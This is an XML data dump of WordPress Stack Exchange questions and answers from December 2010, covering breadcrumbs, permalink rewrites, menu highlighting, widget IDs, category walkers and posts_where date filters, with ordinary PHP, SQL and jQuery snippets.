  <row Id="5527" PostTypeId="1" AcceptedAnswerId="5529" CreationDate="2010-12-17T08:52:41.633" Score="0" ViewCount="99" Body="&lt;p&gt;Currently I am working on adding a breadcrumb without a plugin to a site. I found several possibilities on how to do that, but what I specifically want is to take one Page out of the trail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current trail is as follows:&#xA;home - products - productgroup - productsubgroup - productname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want it to become is:&#xA;home - productgroup - productsubgroup - productname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience with this particular challenge?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on the latest WP version and I am using a child theme of Twenty Ten. More info on the breadcrumb I am using: &lt;a href=&quot;http://www.bloggingtips.com/2009/02/22/create-a-breadcrumb-trail/&quot; rel=&quot;nofollow&quot;&gt;http://www.bloggingtips.com/2009/02/22/create-a-breadcrumb-trail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2010-12-17T09:05:41.033" Title="delete a page from a breadcrumb trail" Tags="&lt;breadcrumb&gt;" AnswerCount="1" />
  <row Id="5528" PostTypeId="1" AcceptedAnswerId="5530" CreationDate="2010-12-17T08:53:59.137" Score="1" ViewCount="312" Body="&lt;p&gt;I am writing a plugin for the back end but I need to add javascript that is created in a for loop to the head of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve&lt;/p&gt;&#xA;" LastActivityDate="2010-12-17T09:09:29.737" Title="Adding custom Javascript to the head tag in Admin" Tags="&lt;admin&gt;&lt;plugins&gt;&lt;development&gt;" AnswerCount="1" />
  <row Id="5529" PostTypeId="2" ParentId="5527" CreationDate="2010-12-17T09:05:41.033" Score="1" ViewCount="" Body="&lt;p&gt;Based on the code your used my guess is it would be as simple as adding a &lt;code&gt;unset($bcarray[0]);&lt;/code&gt; to their code on line 15. Here is the code in it's entirety:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function write_breadcrumb() {&#xA;  $pid = $post-&amp;gt;ID;&#xA;  $trail = &quot;&amp;lt;a href='/'&amp;gt;Home&amp;lt;/a&amp;gt;&quot;;&#xA;  if (is_front_page()) :&#xA;    // do nothing&#xA;  elseif (is_page()) :&#xA;    $bcarray = array();&#xA;    $pdata = get_post($pid);&#xA;    $bcarray[] = &quot; &amp;amp;raquo; &quot;.$pdata-&amp;gt;post_title.&quot;\n&quot;;&#xA;    while ($pdata-&amp;gt;post_parent) :&#xA;      $pdata = get_post($pdata-&amp;gt;post_parent);&#xA;      $bcarray[] = &quot; &amp;amp;raquo; &amp;lt;a href='&quot;.get_permalink($pdata-&amp;gt;ID).&quot;'&amp;gt;&quot;.$pdata-&amp;gt;post_title.&quot;&amp;lt;/a&amp;gt;\n&quot;;&#xA;    endwhile;&#xA;    $bcarray = array_reverse($bcarray);&#xA;    unset($bcarray[0]);&#xA;    foreach ($bcarray AS $listitem) :&#xA;      $trail .= $listitem;&#xA;    endforeach;&#xA;  elseif (is_single()) :&#xA;    $pdata = get_the_category($pid);&#xA;    $data = get_category_parents($pdata[0]-&amp;gt;cat_ID, TRUE, ' &amp;amp;raquo; ');&#xA;    $trail .= &quot; &amp;amp;raquo; &quot;.substr($data,0,-8);&#xA;  endif;&#xA;  return $trail;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-17T09:05:41.033" CommentCount="4" />
  <row Id="5530" PostTypeId="2" ParentId="5528" CreationDate="2010-12-17T09:09:29.737" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Steve Clark:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you are looking for is here &lt;em&gt;(Look for the section entitled &quot;Load Scripts only on pages where needed&quot;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/556/what-is-the-best-way-to-add-custom-javascript-files-to-the-site/562#562&quot;&gt;&lt;strong&gt;What is the best way to add custom javascript files to the site?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-17T09:09:29.737" />
  <row Id="5531" PostTypeId="1" AcceptedAnswerId="7251" CreationDate="2010-12-17T09:12:15.100" Score="2" ViewCount="583" Body="&lt;p&gt;How to rewrite permalinks for a custom posttype and custom taxonomy? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom taxonomy: region, and a custom posttype: business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, how to rewrite the permalink, so that&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;for a category, the fixed &quot;category&quot; part is replaced with the custom taxonomy term:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/%region%/%category%/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;for a business: &lt;code&gt;/%region%/%category%/%business%/&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm stuck with this. However, I did manage to rewrite the permalink for a region to &lt;code&gt;/%region%/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'region_init' );&#xA;function region_init() {&#xA;  // set labels&#xA;    $labels = array(&#xA;    'name' =&amp;gt; _x( 'Regions', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Region', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Regions' ),&#xA;    'popular_items' =&amp;gt;  __( 'Popular Regions' ),&#xA;    'all_items' =&amp;gt; __( 'All Regions' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Region' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Region:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Region' ), &#xA;    'update_item' =&amp;gt; __( 'Update Region' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Region' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Region Name' )&#xA;  );&#xA;  // create a new taxonomy&#xA;  register_taxonomy(&#xA;    'region',&#xA;    'business',&#xA;    array(&#xA;      'labels' =&amp;gt; $labels,&#xA;      'label' =&amp;gt; __('Region'),&#xA;      'sort' =&amp;gt; true,&#xA;      'args' =&amp;gt; array('orderby' =&amp;gt; 'term_order'),&#xA;      'show_in_nav_menus' =&amp;gt; true,&#xA;      'query_var' =&amp;gt; true,&#xA;      'rewrite' =&amp;gt; array( 'slug' =&amp;gt; '', 'with_front' =&amp;gt; false )&#xA;    )&#xA;  );&#xA;}&#xA;&#xA;add_action('init', 'my_rewrite');&#xA;function my_rewrite() {&#xA;    global $wp_rewrite;&#xA;    $wp_rewrite-&amp;gt;add_permastruct('typename', 'typename/%year%/%postname%/', true, 1);&#xA;    add_rewrite_rule('typename/([0-9]{4})/(.+)/?$', 'index.php?typename=$matches[2]', 'top');&#xA;    $wp_rewrite-&amp;gt;flush_rules(); // !!!&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2011-02-07T23:33:22.193" Title="Rewrite permalinks for custom posttype and custom taxonomy" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" />
  <row Id="5532" PostTypeId="1" AcceptedAnswerId="14321" CreationDate="2010-12-17T09:34:05.637" Score="1" ViewCount="453" Body="&lt;p&gt;How to set the menu active state for a custom posttype and category, given a custom taxonomy term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom taxonomy: region, a custom posttype: business, and use the categories taxonomy. My custom primary menu consists of the region terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I select a region, the corresponding menu item is highlighted OK. The region page shows a listing of relevant categories. Now, when I select a category on this page the corresponding menu item is not highlighted. In turn, the category page shows a listing of businesses. Also, when I click on a business, the corresponding menu-item is not highlighted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how to set the menu active state on a category page and on a business post, given a custom taxonomy term? I do have a session variable region available on these pages.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2011-04-08T19:53:58.400" Title="Set menu active state for custom posttype and category, given custom taxonomy term" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;custom-menus&gt;" AnswerCount="2" />
  <row Id="5533" PostTypeId="2" ParentId="5498" CreationDate="2010-12-17T09:56:48.850" Score="2" ViewCount="" Body="&lt;p&gt;Sorry guys!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was with the configurations in the WordPress plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-firewall-2/&quot; rel=&quot;nofollow&quot;&gt;Firewall 2&lt;/a&gt;...it was blocking the submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks ayway.&lt;/p&gt;&#xA;" OwnerUserId="1943" LastActivityDate="2010-12-17T09:56:48.850" CommentCount="2" />
  <row Id="5534" PostTypeId="1" AcceptedAnswerId="5543" CreationDate="2010-12-17T10:06:20.950" Score="1" ViewCount="345" Body="&lt;p&gt;I have a vertical menu using the superfish script that shows categories in a custom 'productcategory' taxonomy. This menu has multiple levels, and is hierarchical.At the bottom of each branch of the tree we have the end category which represents a range of products, which the client does &lt;strong&gt;not&lt;/strong&gt; want to show in this menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using this code to display it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;frontcatlist sf-menu&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $a = array(&#xA;        'title_li'  =&amp;gt;  '',&#xA;        'taxonomy'  =&amp;gt;  'productcategory',&#xA;        'depth'     =&amp;gt;  2&#xA;    );&#xA;    wp_list_categories( $a );&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what I currently have in terms of what is showing and what isnt. left being the main categories, and each line being 1 step down to its children:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0Mw70.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those in the red are the categories that are not shown in the menu, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not what my client needs however. While I could produce a menu that fits the requirements using the native Wordpress 3 menus, that would require manual intervention, intervention that is undesirable, both from a usability perspective, and from the clients wishes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since some main categories have subcategories that should be shown and some dont, the depth parameter will not suffice. Instead this is what I need, with the top level categories always showing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/TgUMB.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure how to do this, and the only clue I have is a custom walker class to output custom html, during which I might be able to filter out the ones I dont want &lt;strong&gt;( any categories with a parent that has no children)&lt;/strong&gt;. But I could not see any sufficient examples or articles on the subject, and I'd rather not loose the classes and markup wordpress provides&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody has any thoughts, or knows of tutorials forum posts or articles of use, I'd much appreciate it =)&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-12-17T16:09:38.430" Title="Controlling Taxonomy Category listings to hide and unhide specifics" Tags="&lt;custom-taxonomy&gt;&lt;custom-menus&gt;&lt;jquery&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5535" PostTypeId="2" ParentId="5532" CreationDate="2010-12-17T10:24:54.070" Score="1" ViewCount="" Body="&lt;p&gt;You probably can do this via CSS. As the body has classes lined up depending on the page that is displayed and the menu entries have classes and ids on their own, you can probably hardcode the highlight into custom CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the highlighting is done with markup instead of CSS then this is not possible. But I think that is not the case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So inspect (e.g. with Firebug) the body tag on those pages and check for the ids of the menu items. Next to that you can check how the highlighting is done with Firebug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rest should be copy and paste.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-17T10:24:54.070" CommentCount="3" />
  <row Id="5536" PostTypeId="1" AcceptedAnswerId="5538" CreationDate="2010-12-17T10:27:18.937" Score="0" ViewCount="139" Body="&lt;p&gt;I'm trying to output a unique widget ID inside my mult-instance widgets. So far the following hasn't worked. Is there a unique ID and how do I call it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget($args, $instance) {&#xA;// outputs the content of the widget&#xA;    extract( $args );&#xA;    $widget_id = $instance['widget_id'];    &#xA;?&amp;gt;&#xA;&amp;lt;?php echo $widget_id ; ?&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2010-12-17T10:37:25.730" Title="Calling the widget id of a mult-instance widget from inside the widget?" Tags="&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" />
  <row Id="5537" PostTypeId="2" ParentId="5523" CreationDate="2010-12-17T10:31:40.350" Score="3" ViewCount="" Body="&lt;p&gt;In my eyes the plugin is pretty useless because of two reasons:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can setup the permalinks on your own by adding .html to it. There is no need for the plugin.&lt;/li&gt;&#xA;&lt;li&gt;As Shahas Katta commented, there is genereally no need to have .html at the end of URLs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As I don't know your site nor your needs very well, it can be totally valid that you want to have .html at the end of most URLs on your blog. So point 2. is a bit subjective.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-17T10:31:40.350" />
  <row Id="5538" PostTypeId="2" ParentId="5536" CreationDate="2010-12-17T10:37:25.730" Score="2" ViewCount="" Body="&lt;p&gt;You can get the instance ID with &lt;code&gt;echo $this-&amp;gt;id;&lt;/code&gt; (&lt;code&gt;$this&lt;/code&gt; is the class instance)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only time you can't get this id is from the &lt;code&gt;form()&lt;/code&gt; function, right after you just dropped the widget (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/5515/update-widget-form-after-drag-and-drop-wp-save-bug&quot;&gt;here&lt;/a&gt;'s the reason why)&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2010-12-17T10:37:25.730" />
  <row Id="5539" PostTypeId="1" AcceptedAnswerId="5541" CreationDate="2010-12-17T14:08:15.280" Score="1" ViewCount="448" Body="&lt;p&gt;this is a silly question, but i dont know, can anyone help me out in this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i want to &lt;code&gt;echo get_post_meta()&lt;/code&gt; on a url, but i am getting parse error&#xA;i am having a function, where in the between of url one field can be filled by the value of custom field&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;($doc-&amp;gt;load('http://twitter.com/statuses/user_timeline/' . . '.rss'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the space between &lt;code&gt;. .&lt;/code&gt; there i want to echo the value of my get_post_meta value,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if i write something like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;($doc-&amp;gt;load('http://twitter.com/statuses/user_timeline/' .echo get_post_meta() . '.rss'));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i know this step is wrong, then too i tried, i get parse error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can i echo it???&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2010-12-17T15:41:16.410" Title="echo get_post_meta()" Tags="&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="5540" PostTypeId="2" ParentId="5517" CreationDate="2010-12-17T14:21:01.223" Score="2" ViewCount="" Body="&lt;p&gt;And here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Create_A_Network&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Create_A_Network&lt;/a&gt;&#xA;http://wpebooks.com/2010/09/how-to-enable-multisite-in-wordpress/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it is a little easier to get running, the basic functionality is still the same. You need to ask your host if they support wildcard subdomains (if you want subdomains) and pretty permalinks is a requirement because it relies heavily on htaccess.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-12-17T14:21:01.223" />
  <row Id="5541" PostTypeId="2" ParentId="5539" CreationDate="2010-12-17T14:32:06.143" Score="3" ViewCount="" Body="&lt;p&gt;Remove the echo. In PHP, you only use echo when you want to send the result as text to the browser. If you want to use the value in PHP (like you are trying to do), then you leave out the echo and add $post-&gt;ID, 'meta_field_you_want', true to get_post_meta();&lt;/p&gt;&#xA;" OwnerUserId="2036" LastEditorUserId="2036" LastEditorDisplayName="" LastEditDate="2010-12-17T15:41:16.410" LastActivityDate="2010-12-17T15:41:16.410" CommentCount="4" />
  <row Id="5543" PostTypeId="2" ParentId="5534" CreationDate="2010-12-17T15:11:11.023" Score="1" ViewCount="" Body="&lt;p&gt;I've made some progress based on walker classes but havent gotten ti working quite as needed because wordpress doesnt appear to handle the root nodes of the taxonomy tree in the same way as the child ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result, it prunes the end menu items, but if the parent of that node is a root level node, it prunes the node and leaves an empty ul element behind, &lt;code&gt;&amp;lt;ul&amp;gt;&amp;lt;/ul&amp;gt;&lt;/code&gt;. The code that fixes this issue on child nodes does not work for a root node, resulting in the whole structure flattening with no submenus&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Post_Category_Walker extends Walker_Category {&#xA;&#xA;    private $term_ids = array();&#xA;    function __construct( /*$post_id,*/ $taxonomy )  {&#xA;        // fetch the list of term ids for the given post&#xA;        $this-&amp;gt;taxterms = get_terms( $taxonomy);&#xA;        $this-&amp;gt;noshow = array();&#xA;    }&#xA;    function isdisplayable( $element, &amp;amp;$children_elements, $args ){&#xA;        $id = $element-&amp;gt;term_id;&#xA;        if(in_array($element-&amp;gt;term_id, $this-&amp;gt;noshow)){&#xA;            return false;&#xA;        }&#xA;        $display = true;&#xA;        if($element-&amp;gt;parent != 0){&#xA;            $display = false;&#xA;            if ( isset( $children_elements[ $id ] ) ) {&#xA;                $display = true;&#xA;            }&#xA;        }&#xA;        if($depth == 0){&#xA;            $display = true;&#xA;        }&#xA;        return $display;&#xA;    }&#xA;    function hasChildren( $element/*, &amp;amp;$children_elements*/){&#xA;        foreach($this-&amp;gt;taxterms as $term){&#xA;            if($term-&amp;gt;parent == $element-&amp;gt;term_id){&#xA;                return true;&#xA;            }&#xA;        }&#xA;        return false;//(isset($children_elements[$element-&amp;gt;term_id]));&#xA;    }&#xA;    function display_element( $element, &amp;amp;$children_elements, $max_depth, $depth=0, $args, &amp;amp;$output ) {&#xA;        $display = $this-&amp;gt;isdisplayable( $element, $children_elements, $args );&#xA;        $id = $element-&amp;gt;term_id;&#xA;        if($element-&amp;gt;parent != 0){&#xA;&#xA;            if($this-&amp;gt;hasChildren($element)){ //isset( $children_elements[ $id ] ) ) {&#xA;                $endnode = true;&#xA;                //print_r($children_elements[ $id ]);&#xA;                foreach($this-&amp;gt;taxterms as $child){&#xA;                    if($child-&amp;gt;parent == $element-&amp;gt;term_id){&#xA;                        if($this-&amp;gt;hasChildren($child)){&#xA;                            $endnode = false;&#xA;                            break;&#xA;                        }&#xA;                    }&#xA;                }&#xA;                if($endnode == true){&#xA;                    //$children_elements = NULL;&#xA;                    unset( $children_elements[ $id ] );&#xA;                    $newlevel = false;&#xA;                    $args[0]['has_children'] = 0;&#xA;                }&#xA;            }&#xA;        }else{&#xA;            // Wordpress separates out the terms into top level and child terms,&#xA;            // making the top level terms very costly as it passes in an empty &#xA;            // array as the children_elements unlike the other terms&#xA;            //if($this-&amp;gt;hasChildren($element)){&#xA;                foreach($this-&amp;gt;taxterms as $term){&#xA;                    if($term-&amp;gt;parent == $element-&amp;gt;term_id){&#xA;                        if(!$this-&amp;gt;hasChildren($term)){&#xA;                            $this-&amp;gt;noshow[] = $term-&amp;gt;term_id;&#xA;                            unset($newlevel);&#xA;                            $args[0]['has_children'] = 0;&#xA;                        }&#xA;                    }&#xA;                }&#xA;            //}&#xA;        }&#xA;&#xA;        if ( $display )&#xA;            parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );&#xA;    }&#xA;}&#xA;$a = array(&#xA;    'title_li'  =&amp;gt;  '',&#xA;    'taxonomy'  =&amp;gt;  'productcategory',&#xA;    'walker'    =&amp;gt;  new Post_Category_Walker('productcategory')&#xA;);&#xA;wp_list_categories( $a );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A temporary workaround is to remove them via the following jquery snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;ul&quot;).each(&#xA;  function() {&#xA;    var elem = $(this);&#xA;    if (elem.children().length == 0) {&#xA;      elem.remove();&#xA;    }&#xA;  }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="736" LastEditorUserId="736" LastEditorDisplayName="" LastEditDate="2010-12-17T16:09:38.430" LastActivityDate="2010-12-17T16:09:38.430" CommentCount="3" />
  <row Id="5544" PostTypeId="1" CreationDate="2010-12-17T15:17:45.447" Score="2" ViewCount="289" Body="&lt;p&gt;I'm curious if its possible (and advisable) to change certain directory names and URL structure via customization by themes or plugins.  For example, say I wanted the list of all a user's posts to appear at blog.com/people/username instead of at blog.com/author/username...is this possible via customization?  If so, would this type of customization be very problematic when it comes to things like forward compatibility with the latest WP updates and such?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice anyone can offer on this would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" LastActivityDate="2011-01-07T15:56:04.390" Title="Changing directory and/or URL structure" Tags="&lt;url-rewriting&gt;&lt;directory&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="5545" PostTypeId="1" AcceptedAnswerId="5548" CreationDate="2010-12-17T16:31:19.417" Score="0" ViewCount="239" Body="&lt;p&gt;I have a bunch of pages and I only want to include 2 or 3 pages on my main menu. How would I do that? Currently my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_page_menu('include=156,572,542&amp;amp;sort_column=menu_order&amp;amp;echo=0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I am going to insert &lt;code&gt;exclude=x pages&lt;/code&gt;, it wouldn't make sense because there's just too many of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please no plugin recommendation. I've tried some but they conflict with other things I do in this regard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&#xA;Here's the full function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function main_nav() {?&amp;gt;&#xA;&amp;lt;div id=&quot;access&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;sub-access&quot;&amp;gt;&#xA;        &amp;lt;div id=&quot;sub-sub-access&quot;&amp;gt;   &#xA;            &amp;lt;div class=&quot;skip-link&quot;&amp;gt;&amp;lt;a href=&quot;#content&quot;&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Skip to content', 'thematic'); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;?php echo preg_replace('/&amp;lt;ul&amp;gt;/', '&amp;lt;ul class=&quot;sf-menu&quot;&amp;gt;', wp_page_menu('include=11,13,7,9,4&amp;amp;sort_column=menu_order&amp;amp;echo=0'), 1);?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;     &amp;lt;/div&amp;gt;   &#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #access --&amp;gt; &amp;lt;?php&#xA;}&#xA;&#xA;add_action('thematic_header','main_nav',9);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's a custom version of Thematic's thematic_access() function. I don't know why it's behaving this way. I tried it on a new installation, it doesn't work still.&lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2010-12-17T17:26:45.757" LastActivityDate="2010-12-17T22:44:10.457" Title="Exclude all pages except a few?" Tags="&lt;custom-menus&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="5546" PostTypeId="1" AcceptedAnswerId="5558" CreationDate="2010-12-17T17:27:25.413" Score="2" ViewCount="492" Body="&lt;p&gt;Currently I have the loop listing posts between two dates using the &lt;code&gt;posts_where&lt;/code&gt; filter:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; function filter_where( $where = '' ) {&#xA;  $where .= &quot; AND post_date &amp;gt;= '2000-01-01' AND post_date &amp;lt;= 2004-12-31' &quot;;&#xA;  return where;&#xA; }&#xA; add_filter('posts_where', 'filter_where');&#xA; query_posts($query_string);&#xA; while (have_posts()) :&#xA;   the_post();&#xA;   the_content();&#xA; endwhile;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In a &lt;code&gt;meta_key&lt;/code&gt; called &lt;code&gt;original_date&lt;/code&gt; I have stored a different date for each post that I wish to use instead of the &lt;code&gt;post_date&lt;/code&gt;. How do I correctly call up this &lt;code&gt;meta_key&lt;/code&gt; into the &lt;code&gt;$where&lt;/code&gt; query to fulfil the same purpose as the &lt;code&gt;post_date&lt;/code&gt;?  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where .= &quot; AND [meta_key=original_date] &amp;gt;= '2000-01-01' AND [meta_key=original_date] &amp;lt;= '2004-12-31' &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For example, the following SQL query doesn't seem to work, even though correct values (&lt;code&gt;2001-10-29&lt;/code&gt;, &lt;code&gt;2004-11-03&lt;/code&gt;, etc.) are present in the &lt;code&gt;original_date&lt;/code&gt; &lt;code&gt;meta_key&lt;/code&gt; of the posts:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA; $where .= &quot; AND (SELECT meta_value FROM $wpdb-&amp;gt;postmeta WHERE meta_key='original_date' ) &amp;gt;= '2000-01-01' AND (SELECT meta_value FROM $wpdb-&amp;gt;postmeta WHERE meta_key='original_date' ) &amp;lt;= '2004-12-31' &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whereas the following works fine on the same posts using their &lt;code&gt;post_date&lt;/code&gt; as reference:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$where .= &quot; AND post_date &amp;gt;= '2000-01-01' AND post_date &amp;lt;= 2004-12-31' &quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Perhaps the &lt;code&gt;meta_value&lt;/code&gt; array needs to be stripped of some extraneous material in order to format the results into the same form as &lt;code&gt;post_date&lt;/code&gt;? How can we approach this? &lt;/p&gt;&#xA;" OwnerUserId="2039" LastEditorUserId="2039" LastEditorDisplayName="" LastEditDate="2010-12-17T19:01:17.980" LastActivityDate="2010-12-17T21:11:54.227" Title="How to correctly call custom field dates into a posts_where filter using SQL statements" Tags="&lt;custom-field&gt;&lt;sql&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="5547" PostTypeId="1" AcceptedAnswerId="5561" CreationDate="2010-12-17T17:29:17.190" Score="2" ViewCount="112" Body="&lt;p&gt;The following url resolves to the category template:&#xA;&lt;a href=&quot;http://localhost/author/myusername/?category_name=somecategory&quot; rel=&quot;nofollow&quot;&gt;http://localhost/author/myusername/?category_name=somecategory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;code&gt;category-somecategory.php&lt;/code&gt; template and just a generic &lt;code&gt;author.php&lt;/code&gt; template.  Is there any way to make such a url use the &lt;code&gt;author.php&lt;/code&gt; template instead of the &lt;code&gt;category-somecategory.php&lt;/code&gt;?  If not how can I filter on both category and author and force it to use the author template?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2010-12-17T22:34:07.857" Title="How to control template resolution if both Author and Category filter in place?" Tags="&lt;categories&gt;&lt;template&gt;&lt;author&gt;" AnswerCount="2" FavoriteCount="1" />
